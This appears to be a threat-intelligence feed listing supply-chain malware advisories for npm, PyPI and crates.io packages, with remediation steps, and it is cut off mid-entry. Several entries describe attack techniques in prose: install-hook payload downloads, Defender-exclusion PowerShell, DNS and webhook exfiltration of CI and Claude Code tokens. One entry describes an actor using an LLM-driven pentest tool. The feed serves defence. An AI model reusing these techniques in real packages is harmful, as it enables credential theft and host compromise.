package ### [critical] npm malware wave: focashi, dsh-ungate, @aaron205whitmore/postcss-animate-utils, template-cards — malicious packages fully compromise hosts https://helix.ml/threat-watch/i/npm-malware-wave-focashi-dsh-ungate-aaron205whitmore-postcss-animate-utils-template-cards-malicious-packages-fully-compr · Supply chain · no-fix-needed · since 2026-11-09 On 2026-11-09 GitHub added four malware advisories for npm packages: focashi (all versions), dsh-ungate (0.2.3), @aaron205whitmore/postcss-animate-utils (all versions), and template-cards (all versions). Each is classified CWE-506 embedded malicious code with no patched versions; GitHub warns any machine with the packages installed or running should be considered fully compromised, with attacker control implying secret and key theft. No common malware family name is given and no source code is known. Anyone who installed these packages is affected; removal alone is not guaranteed to eliminate the malicious software. No fixes exist — remediation is removal plus credential rotation and host rebuild. Do: Check lockfiles and installed node_modules for focashi, dsh-ungate, @aaron205whitmore/postcss-animate-utils and template-cards; remove them and quarantine affected machines; Rotate all secrets, tokens, SSH keys and credentials stored on or accessible from affected machines, from a clean computer; Rebuild/reimage affected hosts rather than trusting removal of the package; Audit CI/CD and developer environments for exposure and review npm install logs for when compromise occurred; Block the package names in internal registries and monitor for reinstall attempts ### [critical] Malicious npm packages @velliajs/discord and @velliajs/telegram — full host compromise; rotate all secrets https://helix.ml/threat-watch/i/malicious-npm-packages-velliajs-discord-and-velliajs-telegram-full-host-compromise-rotate-all-secrets · Supply chain · no-fix-needed · since 2026-11-09 On 2026-11-09 GitHub published malware advisories GHSA-rrh4-2mwf-4xw7 and GHSA-9hfr-xx64-hrq4 for the npm packages @velliajs/discord and @velliajs/telegram, flagging them as embedded malicious code (CWE-506) with all versions (>= 0) affected and no patched versions. Any machine with these packages installed or running must be considered fully compromised, with attacker access to secrets and keys. The packages masquerade as Discord/Telegram client libraries; @velliajs/discord shows ~302 monthly downloads and a claimed 26K GitHub stars, suggesting typosquat-style social engineering. Removal of the package alone is not guaranteed to remove all malicious software, since full host control may have been ceded. No fix exists; remediation is removal plus credential rotation and host rebuild. Do: Immediately remove @velliajs/discord and @velliajs/telegram from all projects and lockfiles; Rotate all secrets, API keys, tokens and credentials stored on affected machines, from a clean computer; Rebuild or reimage affected hosts; do not assume package removal removed the malware; Audit install/CI logs for the packages and check for persistence mechanisms and exfiltration; Block the packages in npm registries and dependency firewalls ### [critical] Malicious npm package winks.tunnelsql — full compromise of installed machines; no safe version exists https://helix.ml/threat-watch/i/malicious-npm-package-winks-tunnelsql-full-compromise-of-installed-machines-no-safe-version-exists · Supply chain · no-fix-needed · since 2026-11-09 GitHub Advisory Database published GHSA-4rrg-994x-267f on 2026-11-09 flagging the npm package winks.tunnelsql as embedded malware (CWE-506). All versions (>= 0) are affected and no patched version exists; the package has been removed from distribution guidance entirely. Any machine with the package installed or running must be considered fully compromised, with attacker control implying potential theft of secrets, keys, and credentials and persistence beyond simple package removal. Reach appears limited (~30 downloads/month), but every installation is treated as a successful compromise. There is no fix; remediation is removal plus full secret rotation and host rebuild from a clean machine. Do: Rotate all secrets, keys, and credentials stored on or accessible from affected machines immediately, using a different, clean computer; Remove the winks.tunnelsql package from all projects and lockfiles; Rebuild/reimage affected hosts; do not assume removal of the package removes the malware; Audit systems for persistence mechanisms and signs of attacker activity; Block the package in dependency firewalls/CI to prevent reintroduction ### [critical] Malicious npm package zhg.sql — full host compromise; no safe version exists https://helix.ml/threat-watch/i/malicious-npm-package-zhg-sql-full-host-compromise-no-safe-version-exists · Supply chain · no-fix-needed · since 2026-11-09 GitHub published advisory GHSA-43j9-6qvj-9hgc on 2026-11-09 flagging the npm package zhg.sql as embedded malware (CWE-506). All versions (>= 0) are affected and no patched version exists. GitHub's guidance states any computer with the package installed or running should be considered fully compromised, with full control potentially handed to an outside entity, and removal of the package does not guarantee removal of all malicious software. The package sees roughly 22 downloads per month, so reach is limited, but any installation constitutes active compromise. There is no fix; remediation is host-level incident response, not a version upgrade. Do: Treat any machine with zhg.sql installed as fully compromised; isolate it immediately; Rotate all secrets, keys, and credentials stored on affected machines from a clean computer; Remove the package and rebuild/reimage affected hosts; do not assume removal cleans the system; Audit dependency trees and CI/CD environments for zhg.sql and review access logs for signs of attacker control; Block the package in npm registries and internal mirrors ### [critical] gpa-core (npm): malicious package fully compromises machines that install it; no safe version exists https://helix.ml/threat-watch/i/gpa-core-npm-malicious-package-fully-compromises-machines-that-install-it-no-safe-version-exists · Supply chain · no-fix-needed · since 2026-11-09 GitHub's advisory database published GHSA-g3w4-qv32-7ccr on 2026-11-09 flagging the npm package gpa-core as malware (CWE-506, embedded malicious code). All versions (>= 0) are affected and there are no patched versions; the package has no known source code and pulls roughly 422 downloads per month. GitHub states that any computer with the package installed or running should be considered fully compromised, with control potentially handed to an outside entity, and that removal of the package does not guarantee removal of all malicious software. Any developer or CI environment that installed gpa-core is affected; secrets and keys on those machines must be treated as stolen. No fix exists — remediation is removal plus credential rotation and host forensics/rebuild. Do: Stop using gpa-core immediately and remove it from all projects, lockfiles and CI pipelines; Rotate all secrets, keys, tokens and credentials stored on any machine where it was installed, from a clean computer; Rebuild or forensically clean affected machines; assume full compromise; Audit logs and network traffic for signs of exfiltration or attacker access; Check dependencies for typosquatting or other malicious packages before reinstalling ### [critical] Malicious npm package @chatbridgeworld/baileys — full host compromise; rotate all secrets https://helix.ml/threat-watch/i/malicious-npm-package-chatbridgeworld-baileys-full-host-compromise-rotate-all-secrets · Supply chain · no-fix-needed · since 2026-11-09 GitHub's malware advisory database published GHSA-fjhf-q8f8-r96j on 2026-11-09 flagging the npm package @chatbridgeworld/baileys as embedded malicious code (CWE-506). Every published version (>= 0) is affected and no patched version exists. The advisory states that any computer with the package installed or running should be considered fully compromised, meaning attackers may have obtained full control of the host, including access to secrets, keys and credentials. The package is a typosquat-style clone of the Baileys WhatsApp library with roughly 909 weekly downloads. Removal of the package does not guarantee removal of any malware it installed. Organisations that installed it must treat all credentials on affected machines as stolen and rotate them from a clean machine. Do: Isolate and rebuild any machine where the package was installed or run; do not trust the existing OS; Rotate all secrets, keys, tokens and credentials stored on or accessible from affected machines, from a clean computer; Audit for persistence mechanisms and lateral movement from affected hosts; Remove the package from dependencies and lockfiles and block it in CI/registry allowlists; Review logs for outbound connections or data exfiltration since installation ### [critical] Malicious npm package yonzofficial — full system compromise on install (no CVE) https://helix.ml/threat-watch/i/malicious-npm-package-yonzofficial-full-system-compromise-on-install-no-cve · Supply chain · no-fix-needed · since 2026-11-09 GitHub published a malware advisory (GHSA-7hh5-mmvx-fw3m) for the npm package yonzofficial on 2026-11-09. All versions (>= 0) are classified as embedded malicious code (CWE-506) with no patched version available. Any machine where the package is installed or running must be considered fully compromised, with control potentially handed to an outside entity; removal of the package does not guarantee removal of the malicious software. The package sees roughly 1,255 downloads per month, so any developer or CI environment that installed it is at risk of credential and secret theft. There is no fix; remediation is removal plus full incident response on affected hosts. Do: Rotate all secrets, keys, and credentials stored on or accessible from machines where yonzofficial was installed, using a clean machine; Isolate and rebuild any computer or CI runner that installed the package; do not trust removal of the package alone; Audit npm lockfiles and dependency trees for yonzofficial and remove it from all projects; Review access logs and monitor for suspicious outbound connections or unauthorized activity on affected hosts; Block the package in internal registries and dependency-scanning tooling ### [critical] Malicious npm packages: @dikaaofficial/libsignal-node and @dikaaofficial/eslint-config — embedded malware compromises installers' machines https://helix.ml/threat-watch/i/malicious-npm-packages-dikaaofficial-libsignal-node-and-dikaaofficial-eslint-config-embedded-malware-compromises-install · Supply chain · no-fix-needed · since 2026-11-09 GitHub's advisory database published malware advisories on 2026-11-09 for two npm packages under the @dikaaofficial scope: @dikaaofficial/libsignal-node (GHSA-xpqj-qc3m-679c) and @dikaaofficial/eslint-config (GHSA-cqvc-q8rj-f4pp, ~15 downloads/month). Both are flagged as embedded malicious code (CWE-506) with all versions (>= 0) affected and no patched versions. GitHub states any computer with the packages installed or running should be considered fully compromised, implying attackers can gain full control, steal secrets and keys, and persist beyond simple package removal. No source code repository is known. Affected users must rotate all secrets and keys from a clean machine and rebuild compromised systems. Do: Remove both packages from all projects and lockfiles and audit for other @dikaaofficial packages; Rotate all secrets, API keys, tokens and credentials stored on or accessible from affected machines, using a clean computer; Reimage or rebuild affected machines; do not assume removal of the package removes the malware; Review CI/CD and developer environments that may have installed these packages and check for persistence and exfiltration; Block the @dikaaofficial npm scope in internal registries and dependency firewalls ### [critical] @liauto npm packages (linux-arm64, linux-x64, darwin-arm64, cli) — malware, full host compromise, no safe version https://helix.ml/threat-watch/i/liauto-npm-packages-linux-arm64-linux-x64-darwin-arm64-cli-malware-full-host-compromise-no-safe-version · Supply chain · no-fix-needed · since 2026-11-09 GitHub's advisory database published four malware advisories on 2026-11-09 for the @liauto npm packages: linux-arm64, linux-x64, darwin-arm64, and cli. All versions (>= 0) are flagged as containing embedded malicious code (CWE-506) with no patched versions available. The advisories state any machine with these packages installed or running should be considered fully compromised, implying the malware grants outside attackers full control of the host, enabling secret and credential theft. Combined downloads are roughly 3,500/month, so exposure is limited but real. Removal of the packages alone is not guaranteed to eliminate the malicious software. No CVEs are assigned; remediation is host-level incident response and credential rotation. Do: Rotate all secrets, keys, and credentials stored on or accessible from any machine where these packages were installed, using a clean machine; Remove the @liauto packages and rebuild/reimage affected hosts; do not assume removal fully cleans the system; Audit CI/CD runners, developer machines, and containers for the packages and for signs of compromise; Check lockfiles and dependency trees for @liauto packages and block them in registry proxies/allowlists; Review access logs and network egress for indicators of compromise since installation ### [critical] Malicious npm packages @gqb333/based and @gqb333/baileys — full system compromise on install https://helix.ml/threat-watch/i/malicious-npm-packages-gqb333-based-and-gqb333-baileys-full-system-compromise-on-install · Supply chain · no-fix-needed · since 2026-11-09 GitHub's Advisory Database published two malware advisories (GHSA-f562-w3mr-phwc, GHSA-h5vw-cqfg-mwhp) on 2026-11-09 for the npm packages @gqb333/based and @gqb333/baileys, both classified CWE-506 Embedded Malicious Code. Every version (>= 0) is affected and no patched versions exist. The advisories state that any computer with the packages installed or running should be considered fully compromised, with control potentially handed to an outside entity, so removal of the package does not guarantee removal of the malicious software. Anyone who installed either package is affected; the packages appear to be typosquat-style malicious publications under the @gqb333 scope (baileys mimicking the popular WhatsApp library name). No fix is available; remediation is host-level incident response and secret rotation. Do: Treat any machine where @gqb333/based or @gqb333/baileys was installed or executed as fully compromised; rebuild from trusted images; Rotate all secrets, keys, tokens and credentials stored on or accessible from affected machines, from a clean computer; Remove the packages from dependencies and lockfiles; block the @gqb333 npm scope in registry proxies; Audit affected hosts for persistence, unauthorized access and exfiltration; review CI/CD and developer workstations; Check npm audit / dependency scans for these packages across all projects ### [critical] Malicious npm package @polymarkets/clob-client-v2 — full host compromise on install (no CVE) https://helix.ml/threat-watch/i/malicious-npm-package-polymarkets-clob-client-v2-full-host-compromise-on-install-no-cve · Supply chain · no-fix-needed · since 2026-11-09 GitHub's advisory database published a malware advisory (GHSA-j4hq-4959-hgrr, CWE-506 Embedded Malicious Code) for the npm package @polymarkets/clob-client-v2, which impersonates the legitimate Polymarket CLOB client. All versions (>= 0) are affected and no patched version exists; the package should never be installed. GitHub states any computer with the package installed or running should be considered fully compromised, meaning attackers may have obtained full control, harvested secrets and keys, and deployed additional persistence that survives package removal. The package sees roughly 279 downloads per month. Remediation requires removing the package, rotating all secrets and keys from a clean machine, and forensic review of affected hosts. Do: Remove @polymarkets/clob-client-v2 from all projects and lockfiles and block it in your registry/proxy; Rotate all secrets, API keys, tokens and credentials stored on any machine where it was installed, using a clean computer; Rebuild affected machines from trusted images; check for persistence, as removal may not eliminate implanted malware; Audit CI/CD and developer machines for the package and review logs for suspicious outbound activity ### [critical] Malicious npm package @devmikets/hyperliquid-sdk compromises developer machines https://helix.ml/threat-watch/i/malicious-npm-package-devmikets-hyperliquid-sdk-compromises-developer-machines · Supply chain · no-fix-needed · since 2026-11-09 GitHub published a malware advisory (GHSA-c2g6-qg53-pvqq) for the npm package @devmikets/hyperliquid-sdk, which impersonates a Hyperliquid trading SDK. All versions (>= 0) are affected and no patched version exists; the package embeds malicious code (CWE-506) that gives an outside entity full control of any machine where it is installed or running. Anyone who installed it should treat the computer as fully compromised and rotate all secrets and keys stored on it from a separate, clean machine. Removing the package does not guarantee removal of all malicious software it may have deployed. The advisory was published and reviewed on 2026-11-09; the package sees roughly 280 downloads per month. Do: Immediately rotate all secrets, API keys, and private keys (especially crypto/trading keys) from a clean machine, not the compromised one; Isolate and rebuild any machine where the package was installed; do not trust removal of the package alone; Audit npm dependency trees and lockfiles for @devmikets/hyperliquid-sdk and block/remove it; Review access logs and wallet/exchange accounts for signs of compromise; Hunt for persistence mechanisms and additional malware the package may have dropped ### [critical] Malware in @hello.nrfcloud.com/proto-map npm package — full machine compromise; rotate all secrets https://helix.ml/threat-watch/i/malware-in-hello-nrfcloud-com-proto-map-npm-package-full-machine-compromise-rotate-all-secrets · Supply chain · no-fix-needed · since 2026-11-09 The GitHub Advisory Database published a malware advisory (GHSA-mc5j-m8rr-4m27, CWE-506 Embedded Malicious Code) for the npm package @hello.nrfcloud.com/proto-map, versions 18.0.0 and 18.1.0. GitHub classifies the package as fully malicious with no patched versions available, and states that any computer with the package installed or running should be considered fully compromised, with control potentially handed to an outside entity. Roughly 2,616 downloads per month are affected. Removal of the package is advised but cannot be guaranteed to remove all malicious software. No fix exists; remediation is removal plus credential rotation from a clean machine. Do: Immediately remove @hello.nrfcloud.com/proto-map versions 18.0.0 and 18.1.0 from all projects and lockfiles; Rotate all secrets, keys, and credentials stored on any machine where the package was installed, using a clean computer; Rebuild affected systems from trusted images; do not assume removal fully cleans the machine; Audit npm dependency trees and CI caches for the package and block it in dependency policy; Review logs for signs of exfiltration or unauthorized access ### [critical] 2025-11-spellcheckers campaign: logger-libs (PyPI) — malicious package downloads and executes remote payload (no CVE) https://helix.ml/threat-watch/i/2025-11-spellcheckers-campaign-logger-libs-pypi-malicious-package-downloads-and-executes-remote-payload-no-cve · Supply chain · no-fix-needed · since 2026-11-09 GitHub Advisory Database (GHSA-vw9j-7fh8-35gf, published 2026-11-09) flags the PyPI package logger-libs as malicious under the '2025-11-spellcheckers' campaign tracked by OpenSSF and researcher kam193. Versions 0.4.1, 0.4.2, 0.4.3, 0.4.5 and 0.4.6 contain obfuscated code split across multiple files and reconstructed at runtime, which downloads and executes a malicious script from a remote location and can run remote commands on the victim's machine. The campaign is assessed as clearly malicious, likely infostealer functionality, and has been linked to Python RAT delivery in related packages. No patched versions exist; the package should be treated as compromised and removed. Anyone who installed these versions is affected. Do: Immediately uninstall logger-libs and remove it from all requirements files, lockfiles and CI images; Audit affected hosts for signs of compromise, credential theft and persistence; rotate secrets, tokens and keys accessible from those environments; Check dependency trees and build caches for other packages from the 2025-11-spellcheckers campaign; Block the package and its indicators in artifact repositories and proxy caches; Review pip install logs to identify when and where the malicious versions were installed ### [critical] u-chan-secrets npm package malware: full machine compromise, rotate all secrets https://helix.ml/threat-watch/i/u-chan-secrets-npm-package-malware-full-machine-compromise-rotate-all-secrets · Supply chain · no-fix-needed · since 2026-11-09 GitHub's malware advisory database flagged the npm package u-chan-secrets as containing embedded malicious code (CWE-506). Versions 5.2.1 and 5.2.2 are affected and no patched versions exist; the package has been removed from the advisory's fix path entirely. Any machine with the package installed or running should be treated as fully compromised, with an outside entity potentially holding full control. The package sees roughly 1,722 downloads per month, so downstream developers and CI environments may be affected. The advisory was published and reviewed on 2026-11-09. Because attackers may have deployed additional persistence, removing the package does not guarantee removal of all malicious software. Organisations should rotate all secrets and keys from a clean machine and rebuild affected systems. Do: Rotate all secrets, keys, and credentials stored on any machine where u-chan-secrets 5.2.1 or 5.2.2 was installed, using a different clean computer; Remove the package and rebuild/reimage affected machines and CI runners, as removal may not eliminate attacker persistence; Audit dependency lockfiles and block/reinstall from trusted sources; check for suspicious post-install activity and network connections ### [critical] env-test-guard (crates.io): malicious Rust test crate exfiltrates CI tokens via webhook.site and DNS (no CVE) https://helix.ml/threat-watch/i/env-test-guard-crates-io-malicious-rust-test-crate-exfiltrates-ci-tokens-via-webhook-site-and-dns-no-cve · Supply chain · no-fix-needed · since 2026-11-09 The Rust crate env-test-guard, posing as a Git test toolkit, contains malicious code in GitEnv::detect() that steals CI credentials. Version 0.3.0 reads GITHUB_TOKEN, GH_TOKEN, INPUT_GITHUB_TOKEN and INPUT_CLAUDE_CODE_OAUTH_TOKEN, encrypts them with an embedded passphrase and POSTs them to a webhook.site endpoint via curl; version 0.2.0 leaks INPUT_GITHUB_TOKEN and INPUT_CLAUDE_CODE_OAUTH_TOKEN in cleartext via nslookup DNS lookups to buri.dns.praetorianlabs.com. Nothing runs at build time; execution occurs in any test or program calling GitEnv::detect(), typically on CI runners where tokens are set. Versions 0.2.0 and 0.3.0, published 2026-03-24/25, remain available on crates.io with no fixed versions. Discovered via OpenSSF and published to the GitHub Advisory Database on 2026-11-09. Do: Remove and ban env-test-guard (all versions) from all Cargo.toml/lockfiles and internal registries; Rotate GITHUB_TOKEN, GH_TOKEN, INPUT_GITHUB_TOKEN and INPUT_CLAUDE_CODE_OAUTH_TOKEN secrets on any CI runner that ran tests using the crate; Audit CI logs and DNS/webhook egress for connections to webhook.site/fcd2a057-9288-4ac1-9c62-e6f57e6c7403 or buri.dns.praetorianlabs.com; Check whether any exfiltrated tokens were used, and revoke downstream OAuth sessions (e.g. Claude Code OAuth tokens); Add dependency review/scanning to block known malicious crates ### [critical] Malicious npm package hello-world-pkg-value-value-p — full system compromise on install (no CVE) https://helix.ml/threat-watch/i/malicious-npm-package-hello-world-pkg-value-value-p-full-system-compromise-on-install-no-cve · Supply chain · no-fix-needed · since 2026-11-09 GitHub's malware advisory database flagged the npm package hello-world-pkg-value-value-p as embedded malicious code (CWE-506), published 2026-11-09. Every version (>= 0) is affected and no patched version exists, so any installation is considered a compromise. The advisory states that any computer with the package installed or running should be treated as fully compromised, with attacker access to secrets and keys and no guarantee that removing the package removes all malicious software. The package sees roughly 2,740 downloads per month, so some real-world exposure is likely. There is no fix; remediation is removal of the package plus full incident response on affected machines. Do: Remove hello-world-pkg-value-value-p from all projects and lockfiles and block it in your registry/proxy; Treat affected machines as fully compromised: rotate all secrets, keys, tokens and credentials stored on them, from a clean machine; Rebuild affected systems from trusted images and audit for persistence and additional malware; Audit CI/CD and dependency caches for the package and review recent builds for exfiltration ### [critical] seolibs-package (npm): malicious package compromises any machine where it is installed; no patched version exists https://helix.ml/threat-watch/i/seolibs-package-npm-malicious-package-compromises-any-machine-where-it-is-installed-no-patched-version-exists · Supply chain · no-fix-needed · since 2026-11-09 GitHub's malware advisory database published GHSA-87pq-f724-32pv on 2026-11-09 flagging the npm package seolibs-package as embedded malicious code (CWE-506). All published versions (>= 0) are affected and no patched version exists, so any installation is considered a compromise. The advisory states that any computer with the package installed or running should be treated as fully compromised, with attackers potentially having full control and access to secrets and keys. The package sees roughly 67 downloads per month, so exposure is limited but real. Removal of the package alone is not guaranteed to remove all malicious software it deployed. There is no fix; remediation is incident response: purge the package, rotate credentials, and rebuild affected machines. Do: Immediately check lockfiles and node_modules for seolibs-package and remove it from all projects and CI; Treat any machine where it was installed as fully compromised: rotate all secrets, keys, and tokens stored there from a clean machine; Rebuild/reimage affected machines and CI runners rather than trusting cleanup; Audit npm install logs and dependency history to determine when the package was introduced and what it may have accessed; Block the package name in internal registries/proxies to prevent reinstalls ### [critical] npm malware: kafbail — malicious package versions 2.0.12–2.0.14 fully compromise installed machines (no CVE) https://helix.ml/threat-watch/i/npm-malware-kafbail-malicious-package-versions-2-0-12-2-0-14-fully-compromise-installed-machines-no-cve · Supply chain · no-fix-needed · since 2026-11-09 GitHub's advisory database published a malware advisory (GHSA-r9ff-73cq-qq8f) for the npm package kafbail, flagging versions 2.0.12, 2.0.13 and 2.0.14 as containing embedded malicious code (CWE-506). Any machine with the package installed or running should be considered fully compromised, with control potentially handed to an outside entity. No patched versions exist; the advisory recommends removal of the package and immediate rotation of all secrets and keys from a clean machine. Affected users are any developers or CI systems that installed these versions of kafbail from npm. Published and reviewed 2026-11-09. Do: Remove kafbail from all machines and CI environments; Rotate all secrets, keys, and credentials stored on affected machines, using a clean computer; Rebuild/reimage compromised machines; do not assume removal of the package removes all malicious software; Audit npm lockfiles and dependency trees for kafbail versions 2.0.12–2.0.14; Review logs for signs of exfiltration or unauthorized access ### [critical] npm malware: internal-company-module-test-1337 — full system compromise on install (no CVE) https://helix.ml/threat-watch/i/npm-malware-internal-company-module-test-1337-full-system-compromise-on-install-no-cve · Supply chain · no-fix-needed · since 2026-11-09 GitHub Advisory Database published GHSA-c9wj-j3q9-23f2 on 2026-11-09 flagging the npm package internal-company-module-test-1337 as malware (CWE-506, Embedded Malicious Code). All versions (>= 0) are affected and no patched version exists. The advisory states any computer with the package installed or running should be considered fully compromised, with full control potentially handed to an outside entity; removing the package does not guarantee removal of all malicious software. The package sees roughly 2,085 downloads per month. Any developer or CI environment that installed it should treat secrets and keys as stolen and rotate them from a clean machine. There is no fix; remediation is removal plus credential rotation and system rebuild. Do: Rotate all secrets, keys, and credentials stored on machines where the package was installed, using a clean computer; Remove the package and rebuild/reimage affected machines from trusted images; Audit install logs and CI pipelines for the package and block it in dependency firewalls/allowlists; Review for signs of persistence or exfiltration on affected hosts ### [critical] 2026-11-parseyaml campaign: extrahtml & parseyaml (PyPI) — malicious YAML-loader dependency downloads and executes remote code https://helix.ml/threat-watch/i/2026-11-parseyaml-campaign-extrahtml-parseyaml-pypi-malicious-yaml-loader-dependency-downloads-and-executes-remote-code · Supply chain · no-fix-needed · since 2026-11-09 On 2026-11-09 GitHub's Advisory Database and OpenSSF's malicious-packages repo published advisories for two PyPI packages, extrahtml (0.1.0–0.1.2) and parseyaml (1.2.0), tied to the '2026-11-parseyaml' campaign. The packages embed a dependency posing as a YAML loader that includes a special loader capable of executing code from a provided file, enabling download and execution of a remote malicious script. Analysts noted the payload was only a stub at analysis time, but the intent is clearly malicious (infostealer-class). No patched versions exist; the packages should be treated as malware and removed. Anyone who installed these packages is at risk of remote code execution on their build or runtime environments. Do: Immediately uninstall and purge extrahtml and parseyaml from all environments, lockfiles, and caches; Audit systems where these packages ran for signs of downloaded/ executed scripts, persistence, and credential theft; rotate secrets and tokens; Check dependency trees and CI pipelines for the packages and block them via repository allowlists or proxy policies; Review PyPI install logs to determine exposure window and scope; Prefer vetted YAML libraries (e.g., PyYAML with safe_load) and verify package provenance before installing ### [critical] bundyfed PyPI malware: malicious setup.py downloads infostealer during install https://helix.ml/threat-watch/i/bundyfed-pypi-malware-malicious-setup-py-downloads-infostealer-during-install · Supply chain · no-fix-needed · since 2026-11-09 The PyPI package bundyfed (versions 1.0.0 and 1.0.1) is malicious: its setup.py overrides the install command to download and execute a remote executable containing an infostealer, compromising any developer or CI environment that installs the package. GitHub Advisory Database entry GHSA-w2rp-hfm9-fh77 (campaign 2026-11-bundyfed, CWE-506) was published 2026-11-09 with credit to OpenSSF's malicious-packages project and kam193's bad-packages analysis. There are no patched versions — the package is malware and should be removed, not upgraded. Anyone who installed bundyfed should assume credential and data theft from the affected machine. Do: Remove bundyfed from all environments and dependency trees; do not install or pin it; Treat any machine or CI runner that installed bundyfed as compromised: rotate stored credentials, tokens, and keys; Review browser-saved passwords, SSH keys, and cloud credentials for exfiltration; check for the downloaded executable; Block the package name in internal PyPI mirrors/proxies and alert developers who may have installed it; Audit install logs to determine exposure window and scope ### [medium] Malicious PyPI package lookuptest11 exfiltrates host info on install/import https://helix.ml/threat-watch/i/malicious-pypi-package-lookuptest11-exfiltrates-host-info-on-install-import · Supply chain · no-fix-needed · since 2026-11-08 GitHub Advisory Database (GHSA-c9jc-238p-3h46, published 2026-11-08) flags the PyPI package lookuptest11 as malicious. The package overrides the install command in setup.py so malicious code runs during pip install, and importing the module also exfiltrates basic host information such as IP address and username; the package has no other purpose. It is categorized as PROBABLY_PENTEST under the GENERIC-standard-pypi-install-pentest campaign, with limited risk. Only version 0.0.1 is affected and no fixed version exists — the package is malware and will not be patched. Anyone who installed lookuptest11 0.0.1 may have leaked basic system details to the attacker. Do: Check environments and CI for installs of lookuptest11 and remove it; If installed, treat host IP/username as exposed and rotate any credentials that could be inferred; Audit pip install logs and setup.py execution history for the package; Block/flag lookuptest11 in internal PyPI mirrors and dependency scanners; Prefer hash-pinned, scanned dependencies for install-time code execution risk ### [critical] 2026-11-chromacli campaign: chromacli / supercolor-tui / rainbowcolors (PyPI) — typosquatted color libs drop Solace infostealer on Windows https://helix.ml/threat-watch/i/2026-11-chromacli-campaign-chromacli-supercolor-tui-rainbowcolors-pypi-typosquatted-color-libs-drop-solace-infostealer-o · Supply chain · no-fix-needed · since 2026-11-08 Three PyPI packages posing as terminal-color libraries — chromacli (0.1.0–0.1.4), supercolor-tui (0.1.0–0.1.4) and rainbowcolors (0.1.0) — were published to the GitHub Advisory Database on 2026-11-08 as part of the '2026-11-chromacli' malware campaign. On Windows, calling any exported Color method (print/paint/__call__) triggers a hidden code path that uses PowerShell (-NoProfile -ExecutionPolicy Bypass, CREATE_NO_WINDOW) to add Microsoft Defender exclusions for %TEMP%\SolaceRuntime and solace.exe, then downloads an unsigned solace.exe from an anonymous gofile.io share and launches it detached via subprocess.Popen. The payload is an infostealer; behavior is entirely unrelated to the packages' stated purpose. No patched versions exist — all published releases are malicious. Do: Immediately remove chromacli, supercolor-tui and rainbowcolors from all environments and dependency files; do not use any version; If installed on Windows, assume compromise: hunt for %TEMP%\SolaceRuntime\solace.exe, Defender exclusion entries for SolaceRuntime/solace.exe, and gofile.io download activity; Rotate credentials, tokens and browser-stored secrets on affected Windows machines; reimage if infostealer execution is confirmed; Check CI/CD and developer Windows hosts for these packages in dependency caches and lockfiles; Pin dependencies and verify packages against advisory databases before install ### [critical] DNS-beacon typosquat/dependency-confusion malware: blender-headless, expect-tests, infra-libs (PyPI) exfiltrate hostnames https://helix.ml/threat-watch/i/dns-beacon-typosquat-dependency-confusion-malware-blender-headless-expect-tests-infra-libs-pypi-exfiltrate-hostnames · Supply chain · no-fix-needed · since 2026-11-08 Three malicious PyPI packages — blender-headless (9.99.9), expect-tests (99.99.99) and infra-libs (99.99.99) — were identified on 2026-11-08 via OpenSSF/amazon-inspector analysis and published as GitHub malware advisories. Each ships a setup.py and a gcp_log_poc/__init__.py module that read the installer's hostname via platform.node(), encode it into a DNS label (install- or import-prefixed), and resolve it under attacker-controlled zones finaltests99.dssldrf.net or testa213022.dssldrf.net via socket.getaddrinfo. This exfiltrates hostnames and install/import events over DNS, bypassing typical HTTP egress controls, at pip install time and on every import. The packages have no legitimate functionality matching their names; high version numbers and name/module mismatches indicate dependency-confusion lures. No patched versions exist; removal from PyPI is the only mitigation. Do: Search environments and dependency lockfiles for blender-headless, expect-tests and infra-libs; remove any installations immediately; Rotate credentials and investigate hosts where these packages were installed or imported, treating hostnames as leaked; Block DNS resolution of dssldrf.net and its subdomains at resolvers/firewalls; Audit pip install logs and CI builds for DNS queries to the identified domains; Harden dependency resolution with private indexes, allowlists and hash pinning to defeat dependency-confusion ### [critical] @htooayelwinict/travis234 npm malware: full machine compromise for users of version 3.3.2 (no CVE) https://helix.ml/threat-watch/i/htooayelwinict-travis234-npm-malware-full-machine-compromise-for-users-of-version-3-3-2-no-cve · Supply chain · no-fix-needed · since 2026-11-08 GitHub's malware advisory database flagged the npm package @htooayelwinict/travis234 version 3.3.2 as containing embedded malicious code (CWE-506). GitHub's guidance states any computer with the package installed or running should be considered fully compromised, implying the malware grants attackers full control of the machine, enabling theft of secrets, keys and credentials. No patched version exists and the package should simply be removed, though removal cannot guarantee the malicious software is fully eradicated. The package sees roughly 1,369 downloads per month, so exposure is limited but real. Developers who installed version 3.3.2 should treat all credentials on affected machines as stolen and rotate them from a clean computer. Do: Stop using and uninstall @htooayelwinict/travis234 3.3.2 immediately; Consider any machine that ran the package fully compromised; rebuild or thoroughly clean it; Rotate all secrets, keys, tokens and credentials stored on affected machines, from a different clean computer; Audit for persistence mechanisms and residual malware, since removal of the package may not remove all malicious software; Check dependency trees and CI systems for the package and block it ### [critical] 2026-11-old-pyuserfox campaign: pyuserox, pyuserfox, twitch-stream-py PyPI packages download and execute remote malicious code on import https://helix.ml/threat-watch/i/2026-11-old-pyuserfox-campaign-pyuserox-pyuserfox-twitch-stream-py-pypi-packages-download-and-execute-remote-malicious-c · Supply chain · no-fix-needed · since 2026-11-08 OpenSSF and GitHub Advisory Database published malware advisories on 2026-11-08 for three malicious PyPI packages tied to campaigns originally discovered by Threx-code. pyuserox 0.0.2 and pyuserfox 0.0.2 silently download and execute a remote malicious script during import. twitch-stream-py, a clone of a legitimate package with injected code, uses obfuscation and hides the malicious action in library usage across versions 1.0.2rc0 through 1.1.2. The campaigns are categorized as MALICIOUS (infostealer-like intent). During analysis the remote payloads were no longer accessible, so full impact is unknown. No patched versions exist; the packages should be treated as compromised and removed. Do: Immediately uninstall pyuserox, pyuserfox, and twitch-stream-py from all environments and block them in dependency allowlists and CI; Audit lockfiles and dependency trees for these packages and any versions of twitch-stream-py; If installed, treat hosts as compromised: rotate credentials, secrets, and tokens accessible to those environments, and review for infostealer artifacts; Rebuild affected environments from trusted images and re-verify dependencies against OpenSSF malicious-packages data ### [critical] ConnectWise Cloud Backup: Storm-0940 used compromised app credentials and ARTEX to probe 2,250+ M365 tenants https://helix.ml/threat-watch/i/connectwise-cloud-backup-storm-0940-china-linked-used-stolen-app-credentials-and-ai-pentest-tool-artex-to-access-2-250-m · Supply chain · partial · since 2026-10-15 ConnectWise says it found unauthorized access to application identities behind Cloud Backup (formerly SkyKick) on 14 Oct 2026, disclosed it on 16 Oct, and suspended Cloud Backup, SaaS Security and Cloud Management. Microsoft assesses that China state-aligned Storm-0940, active since 2021, was responsible, and that it used ARTEX, an open-source LLM-driven penetration-testing framework, to automate reconnaissance, password spraying and OAuth 